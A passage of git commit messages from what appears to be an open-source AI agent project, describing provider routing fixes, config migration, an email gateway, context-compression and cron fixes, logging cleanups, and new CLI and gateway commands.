specific parameters (provider preferences, etc.), so keep sending them
to all providers. The reasoning disabled fix is kept (that's a real
constraint of the Nous endpoint).
Two bugs in _build_api_kwargs that broke Nous Portal:
1. Provider preferences (only, ignore, order, sort) are OpenRouter-
specific routing features. They were being sent in extra_body to ALL
providers, including Nous Portal. When the config had
providers_only=['google-vertex'], Nous Portal returned 404 'Inference
host not found' because it doesn't have a google-vertex backend.
Fix: Only include provider preferences when _is_openrouter is True.
2. Reasoning config with enabled=false was being sent to Nous Portal,
which requires reasoning and returns 400 'Reasoning is mandatory for
this endpoint and cannot be disabled.'
Fix: Omit the reasoning parameter for Nous when enabled=false.
Root cause found via HERMES_DUMP_REQUESTS=1 which showed the exact
request payload being sent to Nous Portal's inference API.
Model selection now comes exclusively from config.yaml (set via
'hermes model' or 'hermes setup'). The LLM_MODEL env var is no longer
read or written anywhere in production code.
Why: env vars are per-process/per-user and would conflict in
multi-agent or multi-tenant setups. Config.yaml is file-based and
can be scoped per-user or eventually per-session.
Changes:
- cli.py: Read model from CLI_CONFIG only, not LLM_MODEL/OPENAI_MODEL
- hermes_cli/auth.py: _save_model_choice() no longer writes LLM_MODEL
to .env
- hermes_cli/setup.py: Remove 12 save_env_value('LLM_MODEL', ...)
calls from all provider setup flows
- gateway/run.py: Remove LLM_MODEL fallback (HERMES_MODEL still works
for gateway process runtime)
- cron/scheduler.py: Same
- agent/auxiliary_client.py: Remove LLM_MODEL from custom endpoint
model detection
Phase 2 of the provider router migration — route the main agent's
client construction and fallback activation through
resolve_provider_client() instead of duplicated ad-hoc logic.
run_agent.py:
- __init__: When no explicit api_key/base_url, use
resolve_provider_client(provider, raw_codex=True) for client
construction. Explicit creds (from CLI/gateway runtime provider)
still construct directly.
- _try_activate_fallback: Replace _resolve_fallback_credentials and
its duplicated _FALLBACK_API_KEY_PROVIDERS / _FALLBACK_OAUTH_PROVIDERS
dicts with a single resolve_provider_client() call. The router
handles all provider types (API-key, OAuth, Codex) centrally.
- Remove _resolve_fallback_credentials method and both fallback dicts.
agent/auxiliary_client.py:
- Add raw_codex parameter to resolve_provider_client(). When True,
returns the raw OpenAI client for Codex providers instead of wrapping
in CodexAuxiliaryClient. The main agent needs this for direct
responses.stream() access.
3251 passed, 2 pre-existing unrelated failures.
Update 14 test files to use the new call_llm/async_call_llm mock
patterns instead of the old get_text_auxiliary_client/
get_vision_auxiliary_client tuple returns.
- vision_tools tests: mock async_call_llm instead of _aux_async_client
- browser tests: mock call_llm instead of _aux_vision_client
- flush_memories tests: mock call_llm instead of get_text_auxiliary_client
- session_search tests: mock async_call_llm with RuntimeError
- mcp_tool tests: fix whitelist model config, use side_effect for
multi-response tests
- auxiliary_config_bridge: update for model=None (resolved in router)
3251 passed, 2 pre-existing unrelated failures.
Add centralized call_llm() and async_call_llm() functions that own the
full LLM request lifecycle:
1. Resolve provider + model from task config or explicit args
2. Get or create a cached client for that provider
3. Format request args (max_tokens handling, provider extra_body)
4. Make the API call with max_tokens/max_completion_tokens retry
5. Return the response
Config: expanded auxiliary section with provider:model slots for all
tasks (compression, vision, web_extract, session_search, skills_hub,
mcp, flush_memories). Config version bumped to 7.
Migrated all auxiliary consumers:
- context_compressor.py: uses call_llm(task='compression')
- vision_tools.py: uses async_call_llm(task='vision')
- web_tools.py: uses async_call_llm(task='web_extract')
- session_search_tool.py: uses async_call_llm(task='session_search')
- browser_tool.py: uses call_llm(task='vision'/'web_extract')
- mcp_tool.py: uses call_llm(task='mcp')
- skills_guard.py: uses call_llm(provider='openrouter')
- run_agent.py flush_memories: uses call_llm(task='flush_memories')
Tests updated for context_compressor and MCP tool. Some test mocks
still need updating (15 remaining failures from mock pattern changes,
2 pre-existing).
Route all remaining ad-hoc auxiliary LLM call sites through
resolve_provider_client() so auth, headers, and API format (Chat
Completions vs Responses API) are handled consistently in one place.
Files changed:
- tools/openrouter_client.py: Replace manual AsyncOpenAI construction
with resolve_provider_client('openrouter', async_mode=True). The
shared client module now delegates entirely to the router.
- tools/skills_guard.py: Replace inline OpenAI client construction
(hardcoded OpenRouter base_url, manual api_key lookup, manual
headers) with resolve_provider_client('openrouter'). Remove unused
OPENROUTER_BASE_URL import.
- trajectory_compressor.py: Add _detect_provider() to map config
base_url to a provider name, then route through
resolve_provider_client. Falls back to raw construction for
unrecognized custom endpoints.
- mini_swe_runner.py: Route default case (no explicit api_key/base_url)
through resolve_provider_client('openrouter') with auto-detection
fallback. Preserves direct construction when explicit creds are
passed via CLI args.
- agent/auxiliary_client.py: Fix stale module docstring — vision auto
mode now correctly documents that Codex and custom endpoints are
tried (not skipped).
Three interconnected fixes for auxiliary client infrastructure:
1. CENTRALIZED PROVIDER ROUTER (auxiliary_client.py)
Add resolve_provider_client(provider, model, async_mode) — a single
entry point for creating properly configured clients. Given a provider
name and optional model, it handles auth lookup (env vars, OAuth
tokens, auth.json), base URL resolution, provider-specific headers,
and API format differences (Chat Completions vs Responses API for
Codex). All auxiliary consumers should route through this instead of
ad-hoc env var lookups.
Refactored get_text_auxiliary_client, get_async_text_auxiliary_client,
and get_vision_auxiliary_client to use the router internally.
2. FIX CODEX VISION BYPASS (vision_tools.py)
vision_tools.py was constructing a raw AsyncOpenAI client from the
sync vision client's api_key/base_url, completely bypassing the Codex
Responses API adapter. When the vision provider resolved to Codex,
the raw client would hit chatgpt.com/backend-api/codex with
chat.completions.create() which only supports the Responses API.
Fix: Added get_async_vision_auxiliary_client() which properly wraps
Codex into AsyncCodexAuxiliaryClient. vision_tools.py now uses this
instead of manual client construction.
3. FIX COMPRESSION FALLBACK + VISION ERROR HANDLING
- context_compressor.py: Removed _get_fallback_client() which blindly
looked for OPENAI_API_KEY + OPENAI_BASE_URL (fails for Codex OAuth,
API-key providers, users without OPENAI_BASE_URL set). Replaced
with fallback loop through resolve_provider_client() for each
known provider, with same-provider dedup.
- vision_tools.py: Added error detection for vision capability
failures. Returns clear message to the model when the configured
model doesn't support vision, instead of a generic error.
Addresses #886
Prevent stale Honcho tool exposure in context/local modes, restore reliable async write retry behavior, and ensure SOUL.md migration uploads target the AI peer instead of the user peer. Also align Honcho CLI key checks with host-scoped apiKey resolution and lock the fixes with regression tests.
Made-with: Cursor
- Example config now shows hosts.hermes structure instead of flat root
- Config table split into root-level (shared) and host-level sections
- sessionStrategy default corrected to per-session
- Multi-host section expanded with two-tool example
- Note that existing root-level configs still work via fallback
Config writes from hermes honcho setup/peer now go to
hosts.hermes instead of mutating root-level keys. Root is
reserved for the user or honcho CLI. apiKey remains at root
as a shared credential.
Reads updated to check hosts.hermes first with root fallback
for all fields (peerName, enabled, saveMessages, environment,
sessionStrategy, sessionPeerPrefix).
When a new user runs 'hermes setup' for the first time and ~/.openclaw/
exists, the wizard now asks if they want to import their OpenClaw data
before API/tool configuration begins.
If accepted, the existing migration script from optional-skills/ is
loaded dynamically and run with the 'full' preset — importing settings,
memories, skills, API keys, and platform configs. Config is reloaded
afterward so imported values (like API keys) are available for the
remaining setup steps.
The migration is only offered on first-time setup (not returning users)
and handles errors gracefully without blocking setup completion.
Closes#829
Matches Hermes' native session naming (title if set, otherwise
session-scoped). Not a breaking change -- no memory data is lost,
old sessions remain in Honcho.
When hermes-agent runs as a systemd service, Docker container, or
headless daemon, the stdout pipe can become unavailable (idle timeout,
buffer exhaustion, socket reset). Any print() call then raises
OSError: [Errno 5] Input/output error, crashing run_conversation()
and causing cron jobs to fail.
Rather than wrapping individual print() calls (68 in run_conversation
alone), this adds a transparent _SafeWriter wrapper installed once at
the start of run_conversation(). It delegates all writes to the real
stdout and silently catches OSError. Zero overhead on the happy path,
comprehensive coverage of all print calls including future ones.
Fixes#845
Co-authored-by: J0hnLawMississippi <J0hnLawMississippi@users.noreply.github.com>
Adds full stack traces to error logs in _upscale_image() and
image_generate_tool() for better debugging. Matches the pattern
used across the rest of the codebase.
Cherry-picked from PR #868 by aydnOktay.
Co-authored-by: aydnOktay <aydnOktay@users.noreply.github.com>
- Forum parent channel IDs now match free-response list (add a forum
channel ID and all its threads respond without mention)
- Better thread chat names: 'Guild / forum / thread' for forum threads
- Add discord.require_mention and discord.free_response_channels to
config.yaml (bridged to env vars, env vars still override)
- Keep require_mention defaulting to true (safe for shared servers)
Cherry-picked from PR #867 by insecurejezza with default fix and
config.yaml integration.
Co-authored-by: insecurejezza <insecurejezza@users.noreply.github.com>
- Log command, return code, and stderr on non-zero exit
- Add exc_info=True to timeout, FileNotFoundError, and catch-all handlers
- Add debug field to restore() error responses with raw git output
- Keeps user-facing error messages clean while preserving detail for debugging
Inspired by PR #843 (aydnOktay).
Replace two inline copies of the env/config model resolution pattern
(in _run_agent_sync and _run_agent) with the _resolve_gateway_model()
helper introduced in PR #830.
Left untouched:
- Session hygiene block: different default (sonnet vs opus) + reads
compression config from the same YAML load
- /model command: also reads provider from same config block
Previously the early return for unconfigured vision model was silent.
Now logs an error so the failure is visible in logs for debugging.
Inspired by PR #839 by aydnOktay.
Co-authored-by: aydnOktay <aydnOktay@users.noreply.github.com>
save_env_value() used bare open('w') which truncates .env immediately.
A crash or OOM kill between truncation and completed write silently
wipes every credential in the file.
Write now goes to a temp file first, then os.replace() swaps it
atomically. Either the old .env exists or the new one does — never
a truncated half-write. Same pattern used in cron/jobs.py.
Cherry-picked from PR #842 by alireza78a, rebased onto current main
with conflict resolution (_secure_file refactor).
Co-authored-by: alireza78a <alireza78a@users.noreply.github.com>
Memory flush, /compress, and session hygiene create AIAgent without
model=, falling back to the hardcoded default "anthropic/claude-opus-4.6".
This fails with a 400 error when the active provider is openai-codex
(Codex only accepts its own model names like gpt-5.1-codex-mini).
Add _resolve_gateway_model() that mirrors the env/config resolution
already used by _run_agent_sync, and wire it into all three temporary
agent creation sites.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Tag duckduckgo-search skill with fallback_for_toolsets: [web] so it
auto-hides when Firecrawl is available and auto-shows when it isn't
- Add 'Conditional Activation' section to CONTRIBUTING.md with full
spec, semantics, and examples for all 4 frontmatter fields
- Add 'Conditional Activation (Fallback Skills)' section to the user-
facing skills docs with field reference table and practical example
- Update SKILL.md format examples in both docs to show the new fields
Follow-up to PR #785 (conditional skill activation feature).
Address merge-blocking review feedback by removing unsafe signal handler overrides, wiring next-turn Honcho prefetch, restoring per-directory session defaults, and exposing all Honcho tools to the model surface. Also harden prefetch cache access with public thread-safe accessors and remove duplicate browser cleanup code.
Made-with: Cursor
Three new tests for the naive timestamp fix (PR #807):
- test_ensure_aware_naive_preserves_absolute_time: verifies UTC equivalent
is preserved when interpreting naive datetimes as system-local time
- test_ensure_aware_normalizes_aware_to_hermes_tz: verifies already-aware
datetimes are normalized to Hermes tz without shifting the instant
- test_ensure_aware_due_job_not_skipped_when_system_ahead: end-to-end
regression test for the original bug scenario
Legacy cron job rows may store next_run_at without timezone info.
_ensure_aware() previously stamped the Hermes-configured tz directly
via replace(tzinfo=...), which shifts absolute time when system-local
tz differs from Hermes tz — causing overdue jobs to appear not due.
Now: naive datetimes are interpreted as system-local wall time first,
then converted to Hermes tz. Aware datetimes are normalized to Hermes
tz for consistency.
Cherry-picked from PR #807, rebased onto current main.
Fixes#806
Co-authored-by: 0xNyk <0xNyk@users.noreply.github.com>
MiniMax APIs (global and China) don't support /v1/models, causing
hermes doctor to always show HTTP 404 even with valid API keys.
Skip the HTTP check for these providers and show '(key configured)'
when the API key is present.
Cherry-picked from PR #822 by Bartok9, rebased onto current main.
Fixes#811
Co-authored-by: Bartok9 <259807879+Bartok9@users.noreply.github.com>
_discover_one() caught all exceptions and returned [], making
asyncio.gather(return_exceptions=True) redundant. The
isinstance(result, Exception) branch in _discover_all() was dead
code, so failed_count was always 0. This caused:
- No summary printed when all servers fail (silent failure)
- ok_servers always equaling total_servers (misleading count)
- Unused variables transport_desc and transport_type
Fix: let exceptions propagate to gather() so failed_count increments
correctly. Move per-server failure logging to _discover_all(). Remove
dead variables.
Two fixes for context overflow handling:
1. Proactive compression after tool execution: The compression check now
estimates the next prompt size using real token counts from the last API
response (prompt_tokens + completion_tokens) plus a conservative estimate
of newly appended tool results (chars // 3 for JSON-heavy content).
Previously, should_compress() only checked last_prompt_tokens which
didn't account for tool results — so a 130k prompt + 100k chars of tool
output would pass the 140k threshold check but fail the 200k API limit.
2. Safety net: Added 'prompt is too long' to context-length error detection
phrases. Anthropic returns 'prompt is too long: N tokens > M maximum'
on HTTP 400, which wasn't matched by existing phrases. This ensures
compression fires even if the proactive check underestimates.
Fixes#813
The old flow blindly asked for an OpenRouter API key after ANY non-OR
provider selection, even for Nous Portal and Codex which already
support vision natively. This was confusing and annoying.
New behavior:
- OpenRouter: skip — vision uses Gemini via their OR key
- Nous Portal OAuth: skip — vision uses Gemini via Nous
- OpenAI Codex: skip — gpt-5.3-codex supports vision
- Custom endpoint (api.openai.com): show OpenAI vision model picker
(gpt-4o, gpt-4o-mini, gpt-4.1, etc.), saves AUXILIARY_VISION_MODEL
- Custom (other) / z.ai / kimi / minimax / nous-api:
- First checks if existing OR/Nous creds already cover vision
- If not, offers friendly choice: OpenRouter / OpenAI / Skip
- No more 'enter OpenRouter key' thrown in your face
Also fixes the setup summary to check actual vision availability
across all providers instead of hardcoding 'requires OPENROUTER_API_KEY'.
MoA still correctly requires OpenRouter (calls multiple frontier models).
Show users the specific commands for each config area (hermes model,
hermes tools, hermes config set, hermes gateway setup) and then
present 'hermes setup' as the option to configure everything at once.
The installer already handles full setup (provider config, etc.), so
telling users to run 'hermes setup' post-install is redundant and
confusing. Updated all docs to reflect the correct flow:
1. Run the installer (handles everything including provider setup)
2. Use 'hermes model', 'hermes tools', 'hermes gateway setup' to
reconfigure individual settings later
Files updated:
- README.md: removed setup from quick install & getting started
- installation.md: updated post-install, manual step 9, troubleshooting
- quickstart.md: updated provider section & quick reference table
- cli-commands.md: updated hermes setup description
- faq.md: replaced hermes setup references with specific commands
- max_retries reduced from 6 to 3 — 6 retries with exponential backoff
could stall for ~275s total on persistent errors
- ValueError and TypeError now detected as non-retryable client errors
and abort immediately instead of being retried with backoff (these are
local validation/programming errors that will never succeed on retry)
_preflight_codex_api_kwargs rejected these three fields as unsupported,
but _build_api_kwargs adds them to every codex request. This caused a
ValueError before _interruptible_api_call was reached, which was caught
by the retry loop and retried with exponential backoff — appearing as
an infinite hang in tests (275s total backoff across 6 retries).
The fix adds these keys to allowed_keys and passes them through to the
normalized request dict.
This fixes the hanging test_cron_run_job_codex_path_handles_internal_401_refresh
test (now passes in 2.6s instead of timing out).
- test_agent_loop_tool_calling.py: import atroposlib at module level
to trigger skip (environments.agent_loop is now importable without
atroposlib due to __init__.py graceful fallback)
- test_modal_sandbox_fixes.py: skip TestToolResolution tests when
minisweagent not installed
- environments/__init__.py: try/except on atroposlib imports so
submodules like tool_call_parsers remain importable standalone
- test_agent_loop.py, test_tool_call_parsers.py,
test_managed_server_tool_support.py: skip at module level when
atroposlib is missing
Guard all test files that import from environments/ or atroposlib
with try/except + pytest.skip(allow_module_level=True) so they
gracefully skip instead of crashing when deps aren't available.
TBLite eval was bypassing ManagedServer and calling ServerManager
directly, which uses /v1/chat/completions — not available on the
atropos vllm_api_server (/generate only).
Now uses _use_managed_server() to detect vLLM/SGLang backends and
route through ManagedServer (Phase 2) with proper tool_parser and
/generate endpoint. Falls back to Phase 1 for OpenAI endpoints.
Also adds local_vllm.yaml config for running against a local vLLM
server with Docker sandboxes.
vLLM's ToolCallTranslator returns tool_calls as dicts, while
OpenAI API returns them as objects with .id, .function.name etc.
Normalize both formats in the agent loop.
Tests hit a real vLLM server (Qwen/Qwen3-4B-Thinking-2507) via
ManagedServer Phase 2. Auto-skip if server isn't running.
Tests verify:
- Single tool call through full agent loop
- Multi-tool calls across turns
- ManagedServer produces SequenceNodes with tokens/logprobs
- Direct response without tools
- Thinking model produces <think> blocks
Also adds fallback parser in agent_loop.py: when ManagedServer's
ToolCallTranslator can't parse (vLLM not installed), hermes-agent's
standalone parsers extract <tool_call> tags from raw content.
Migrate from old tool_call_parser (instance) to new ToolCallTranslator
pattern from atropos add-openai-endpoint-for-managed-server branch:
- Set tool_parser on ServerManager (string name, e.g. 'hermes')
- Use managed_server(tokenizer=..., preserve_think_blocks=...)
instead of managed_server(tokenizer=..., tool_call_parser=instance)
- ManagedServer now handles tool call translation internally via
ToolCallTranslator (bidirectional raw text <-> OpenAI tool_calls)
- Remove old parser loading code (get_parser/KeyError fallback)
The hermes-agent tool_call_parsers/ directory is preserved as a
standalone fallback for environments that don't use vLLM's parsers.
Real LLM calls via OpenRouter using stepfun/step-3.5-flash:free (zero cost).
Falls back to paid models if free model is unavailable.
Tests: single tool call, multi-tool single turn, multi-turn chains,
unknown tool rejection, max_turns limit, direct response (no tools),
tool error handling, AgentResult structure, conversation history.
- Add eval_concurrency config field with asyncio.Semaphore
- Add local.yaml config using Docker backend (sandboxed, no cloud costs)
- Register docker_image alongside modal_image for backend flexibility
- Default: 8 parallel tasks for local runs
Fixes discovered while running TBLite baseline evaluation:
1. ephemeral_disk param not supported in modal 1.3.5 - check before passing
2. Modal legacy image builder requires working pip - add ensurepip fix via
setup_dockerfile_commands to handle task images with broken pip
3. Host cwd leaked into Modal sandbox - add /home/ to host prefix check
4. Tilde ~ not expanded by subprocess.run(cwd=) in sandboxes - use /root
5. install_pipx must stay True for swerex-remote to be available
Dependencies also needed (not in this commit):
- git submodule update --init mini-swe-agent
- uv pip install swe-rex boto3
Adds pytest-xdist to dev dependencies and -n auto to default pytest addopts
for parallel test execution across CPU cores.
Authored by OutThisLife.
Co-authored-by: OutThisLife <OutThisLife@users.noreply.github.com>
Post-merge fixes for the email gateway (PR #797):
1. Add Platform.EMAIL to all 4 platform-to-toolset/config mapping
dicts in gateway/run.py. Without this, email sessions silently
fell back to the Telegram toolset because these dicts were added
after the PR branched off main.
2. Add email (and signal) to hermes_cli/tools_config.py and
hermes_cli/skills_config.py PLATFORMS dicts so they appear in
'hermes tools' and 'hermes skills' CLI commands.
3. Add full email setup documentation:
- website/docs/user-guide/messaging/email.md — setup guide with
Gmail/Outlook instructions, configuration, troubleshooting,
security advice, and env var reference
- Update messaging/index.md — add email to architecture diagram,
platform toolset table, security examples, and next steps
The weaker assertion (r.exc_info is not None) passes even when
exc_info is (None, None, None). Check r.exc_info[0] is not None
to verify actual exception info is present.
The _aux_async_client mock was already applied on main.
Co-authored-by: OutThisLife <nickolasgustafsson@gmail.com>
Allow users to interact with Hermes by sending and receiving emails.
Uses IMAP polling for incoming messages and SMTP for replies with
proper threading (In-Reply-To, References headers).
Integrates with all 14 gateway extension points: config, adapter
factory, authorization, send_message tool, cron delivery, toolsets,
prompt hints, channel directory, setup wizard, status display, and
env example.
65 tests covering config, parsing, dispatch, threading, IMAP fetch,
SMTP send, attachments, and all integration points.
Adds delegation.model and delegation.provider config fields so subagents
can run on a completely different provider:model pair than the parent agent.
When delegation.provider is set, the system resolves the full credential
bundle (base_url, api_key, api_mode) via resolve_runtime_provider() —
the same path used by CLI/gateway startup. This means all configured
providers work out of the box: openrouter, nous, zai, kimi-coding,
minimax, minimax-cn.
Key design decisions:
- Provider resolution uses hermes_cli.runtime_provider (single source of
truth for credential resolution across CLI, gateway, cron, and now
delegation)
- When only delegation.model is set (no provider), the model name changes
but parent credentials are inherited (for switching models within the
same provider like OpenRouter)
- When delegation.provider is set, full credentials are resolved
independently — enabling cross-provider delegation (e.g. parent on
Nous Portal, subagents on OpenRouter)
- Clear error messages if provider resolution fails (missing API key,
unknown provider name)
- _load_config() now falls back to hermes_cli.config.load_config() for
gateway/cron contexts where CLI_CONFIG is unavailable
Based on PR #791 by 0xbyt4 (closes#609), reworked to use proper
provider credential resolution instead of passing provider as metadata.
Co-authored-by: 0xbyt4 <0xbyt4@users.noreply.github.com>
Combined implementation of reasoning management:
- /reasoning Show current effort level and display state
- /reasoning <level> Set reasoning effort (none, low, medium, high, xhigh)
- /reasoning show|on Show model thinking/reasoning in output
- /reasoning hide|off Hide model thinking/reasoning from output
Effort level changes persist to config and force agent re-init.
Display toggle updates the agent callback dynamically without re-init.
When display is enabled:
- Intermediate reasoning shown as dim [thinking] lines during tool loops
- Final reasoning shown in a bordered box above the response
- Long reasoning collapsed (5 lines intermediate, 10 lines final)
Also adds:
- reasoning_callback parameter to AIAgent
- last_reasoning in run_conversation result dict
- show_reasoning config option (display section, default: false)
- Display section in /config output
- 34 tests covering both features
Combines functionality from PR #789 and PR #790.
Co-authored-by: Aum Desai <Aum08Desai@users.noreply.github.com>
Co-authored-by: 0xbyt4 <35742124+0xbyt4@users.noreply.github.com>
Adds defensive guard against empty/None/missing choices in SamplingHandler.__call__
before accessing response.choices[0]. Returns proper ErrorData instead of crashing
with IndexError/TypeError on content filtering, provider errors, or rate limits.
Authored by 0xbyt4.
Co-authored-by: 0xbyt4 <0xbyt4@users.noreply.github.com>
Replaces all ad-hoc print() calls in the Slack gateway adapter with
proper logging.getLogger(__name__) calls, matching the pattern already
used by every other platform adapter (telegram, discord, whatsapp,
signal, homeassistant).
Changes:
- Add import logging + module-level logger
- Use logger.error for failures, logger.warning for non-critical
fallbacks, logger.info for status, logger.debug for routine ops
- Add exc_info=True for full stack traces on all error/warning paths
- Use %s format strings (lazy evaluation) instead of f-strings
- Wrap disconnect() in try/except for safety
- Add structured context (file paths, channel IDs, URLs) to log messages
- Convert document handling prints added after the original PR
Cherry-picked from PR #778 by aydnOktay, rebased onto current main
with conflict resolution and extended to cover document/video methods
added since the PR was created.
Co-authored-by: aydnOktay <xaydinoktay@gmail.com>
Stray print() in write_file_tool exception handler leaked debug output
to stdout. Replaced with logger.error() which is already set up in
the file.
Authored by memosr.
Co-authored-by: memosr <memosr@users.noreply.github.com>
- Add `agent`, `tools.*`, `gateway.*` to packages.find include
- Add `hermes_state`, `hermes_time`, `mini_swe_runner`, `rl_cli`, `utils` to py-modules
- Move rl_training_tool LOGS_DIR to ~/.hermes/logs/rl_training/ (was writing
into the package source tree, which fails on read-only installs)
These were masked in development (editable installs see the whole source tree)
but broke any non-editable install like `pip install .` or wheel builds.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds tool_choice=auto, parallel_tool_calls=true, and prompt_cache_key
to Codex Responses API requests, matching the official Codex CLI.
Root cause fix for #747 (agent claiming no shell access).
Adds tool_choice, parallel_tool_calls, and prompt_cache_key to the
Codex Responses API request kwargs — matching what the official Codex
CLI sends.
- tool_choice: 'auto' — enables the model to proactively call tools.
Without this, the model may default to not using tools, which explains
reports of the agent claiming it lacks shell access (#747).
- parallel_tool_calls: True — allows the model to issue multiple tool
calls in a single turn for efficiency.
- prompt_cache_key: session_id — enables server-side prompt caching
across turns in the same session, reducing latency and cost.
Refs #747
The MEDIA routing in _process_message_background passes
metadata=_thread_metadata to send_video, send_document, and
send_image_file — but none accepted it, causing TypeError silently
caught by the except handler. Files just failed to send.
Fix: add **kwargs to all four base class media methods and their
Telegram overrides.
Isolate Telegram forum topic sessions — each topic gets its own independent session key, history, and interrupt tracking. Progress, hygiene, and cron messages all route to the correct topic.
Four cleanups to code merged today:
1. New hermes_cli/curses_ui.py — shared curses_checklist() used by both
hermes tools and hermes skills. Eliminates ~140 lines of near-identical
curses code (scrolling, key handling, color setup, numbered fallback).
2. Fix _find_all_skills() perf — was calling load_config() per skill
(~100+ YAML parses). Now loads disabled set once via
_get_disabled_skill_names() and does a set lookup.
3. Eliminate _list_all_skills_unfiltered() duplication — _find_all_skills()
now accepts skip_disabled=True for the config UI, removing 30 lines
of copy-pasted discovery logic from skills_config.py.
4. Fix fragile label round-trip in skills_command — was building label
strings, passing to checklist, then mapping labels back to skill names
(collision-prone). Now works with indices directly, like tools_config.
When wl-paste produces empty output, the destination file was left as
a 0-byte orphan. Added dest.unlink() before returning False, matching
the existing cleanup pattern in the exception handler.
Authored by 0xbyt4.
Co-authored-by: 0xbyt4 <0xbyt4@users.noreply.github.com>
Authored by teyrebaz33. Closes#643.
- /personality none/default/neutral clears system prompt overlay
- Dict format personalities with description, tone, style fields
- Works in both CLI and gateway
- 18 tests
Adds /background <prompt> command to both CLI and gateway platforms.
Spawns a new agent session in the background — users can keep chatting
while the task runs, and results are delivered when done.
CLI: threaded execution with rich Panel output
Gateway: asyncio task with platform adapter delivery (text, images, media)
Includes 15 new tests and updates to command registry.
Add /background <prompt> to the gateway, allowing users on Telegram,
Discord, Slack, etc. to fire off a prompt in a separate agent session.
The result is delivered back to the same chat when done, without
modifying the active conversation history.
Implementation:
- _handle_background_command: validates input, spawns asyncio task
- _run_background_task: creates AIAgent in executor thread, delivers
result (text, images, media files) back via the platform adapter
- Inherits model, toolsets, provider routing from gateway config
- Error handling with user-visible failure messages
Also adds /background to hermes_cli/commands.py registry so it
appears in /help and autocomplete.
Tests: 15 new tests covering usage, task creation, uniqueness,
multi-platform, error paths, and help/autocomplete integration.
HermesCLI.__init__ never assigned self.config, causing an
AttributeError ('HermesCLI' object has no attribute 'config')
whenever an unrecognized slash command fell through to the
quick_commands check on line 2838. This affected skill slash
commands like /x-thread-creation since the quick_commands lookup
runs before the skill command check.
Set self.config = CLI_CONFIG in __init__ to match the pattern used
by the gateway (run.py:199).
HermesCLI.__init__ never assigned self.config, causing an
AttributeError ('HermesCLI object has no attribute config')
whenever an unrecognized slash command fell through to the
quick_commands check (line 2832). This broke skill slash commands
like /x-thread-creation since the quick_commands lookup runs
before the skill command check.
Set self.config = CLI_CONFIG in __init__, matching the pattern
used by the gateway (run.py:199).
Fixes#898 — Python 3.11 changed argparse to raise an exception on
duplicate subparser names (CPython #94331). The 'skills' name was
registered twice: once for Skills Hub and once for skills config.
Changes:
- Remove duplicate 'skills' subparser registration
- Add 'config' as a sub-action under the existing 'hermes skills' command
- Route 'hermes skills config' to skills_config module
- Add regression test to catch future duplicates
Migration: 'hermes skills' (config) is now 'hermes skills config'
- Use Optional[List[str]] instead of List[str] | None (consistency)
- Add header, per-platform counts, and checkmark list format
- Matches the visual style of the interactive configurator
Documents the two-tier budget warning system from PR #762:
- Explains caution (70%) and warning (90%) thresholds
- Table showing what the model sees at each tier
- Notes on how injection preserves prompt caching
- Links to max_turns config
Authored by aydnOktay. Replaces print() statements with structured
logging calls (error/warning/info/debug) throughout the Telegram
adapter. Adds exc_info=True for stack traces on failures.
Two-tier warning system that nudges the LLM as it approaches
max_iterations, injected into the last tool result JSON rather
than as a separate system message:
- Caution (70%): {"_budget_warning": "[BUDGET: 42/60...]"}
- Warning (90%): {"_budget_warning": "[BUDGET WARNING: 54/60...]"}
For JSON tool results, adds a _budget_warning field to the existing
dict. For plain text results, appends the warning as text.
Key properties:
- No system messages injected mid-conversation
- No changes to message structure
- Prompt cache stays valid
- Configurable thresholds (0.7 / 0.9)
- Can be disabled: _budget_pressure_enabled = False
Inspired by PR #421 (@Bartok9) and issue #414.
8 tests covering thresholds, edge cases, JSON and text injection.
Authored by aydnOktay. Replaces bare print statements with structured
logger calls (error/warning/info) and adds exc_info=True for stack
traces on failure paths.
Documents the quick_commands config feature from PR #746:
- configuration.md: full section with examples (server status, disk,
gpu, update), behavior notes (timeout, priority, works everywhere)
- cli.md: brief section with config example + link to config guide
Replaces head-only stdout capture with a two-buffer approach (40% head,
60% tail rolling window) so scripts that print() their final results
at the end never lose them. Adds truncation notice between sections.
Cherry-picked from PR #755, conflict resolved (test file additions).
3 new tests for short output, head+tail preservation, and notice format.
Adds configurable bot message filtering via DISCORD_ALLOW_BOTS env var:
- 'none' (default): ignore all bot messages
- 'mentions': accept bots only when they @mention us
- 'all': accept all bot messages
Includes 8 tests.
Authored by teyrebaz33. Adds config-driven quick commands that execute
shell commands without invoking the LLM — zero token usage, works from
Telegram/Discord/Slack/etc. Closes#744.
Post-merge follow-up to PR #752 — adds 10 commands that were added
since the PR was submitted:
Session: /title, /compress, /rollback
Configuration: /provider, /verbose, /skin
Tools & Skills: /reload-mcp (+ full /skills description)
Info: /usage, /insights, /paste
Also preserved existing color formatting (_cprint, _GOLD, _BOLD, _DIM)
and skill commands section from main.
- Organize COMMANDS into COMMANDS_BY_CATEGORY dict
- Group commands: Session, Configuration, Tools & Skills, Info, Exit
- Add visual category headers with spacing
- Maintain backwards compat via flat COMMANDS dict
- Better visual hierarchy and scannability
Before:
/help - Show this help message
/tools - List available tools
... (dense list)
After:
── Session ──
/new Start a new conversation
/reset Reset conversation only
...
── Configuration ──
/config Show current configuration
...
Closes#640
Follow-up to 58dbd81 — ensures smooth transition for existing users:
- Backward compat: old session files without last_prompt_tokens
default to 0 via data.get('last_prompt_tokens', 0)
- /compress, /undo, /retry: reset last_prompt_tokens to 0 after
rewriting transcripts (stale token counts would under-report)
- Auto-compression hygiene: reset last_prompt_tokens after rewriting
- update_session: use None sentinel (not 0) as default so callers
can explicitly reset to 0 while normal calls don't clobber
- 6 new tests covering: default value, serialization roundtrip,
old-format migration, set/reset/no-change semantics
- /reset: new SessionEntry naturally gets last_prompt_tokens=0
2942 tests pass.
Adds two tests for _handle_retry_command: verifies /retry returns the
agent response (not None), and verifies graceful handling when no
previous message exists.
Cherry-picked from PR #731 by teyrebaz33. Regression coverage for
the fix merged in PR #441.
Co-authored-by: teyrebaz33 <teyrebaz33@users.noreply.github.com>
Root cause of aggressive gateway compression vs CLI:
- CLI: single AIAgent persists across conversation, uses real API-reported
prompt_tokens for compression decisions — accurate
- Gateway: each message creates fresh AIAgent, token count discarded after,
next message pre-check falls back to rough str(msg)//4 estimate which
overestimates 30-50% on tool-heavy conversations
Fix:
- Add last_prompt_tokens field to SessionEntry — stores the actual
API-reported prompt token count from the most recent agent turn
- After run_conversation(), extract context_compressor.last_prompt_tokens
and persist it via update_session()
- Gateway pre-check now uses stored actual tokens when available (exact
same accuracy as CLI), falling back to rough estimate with 1.4x safety
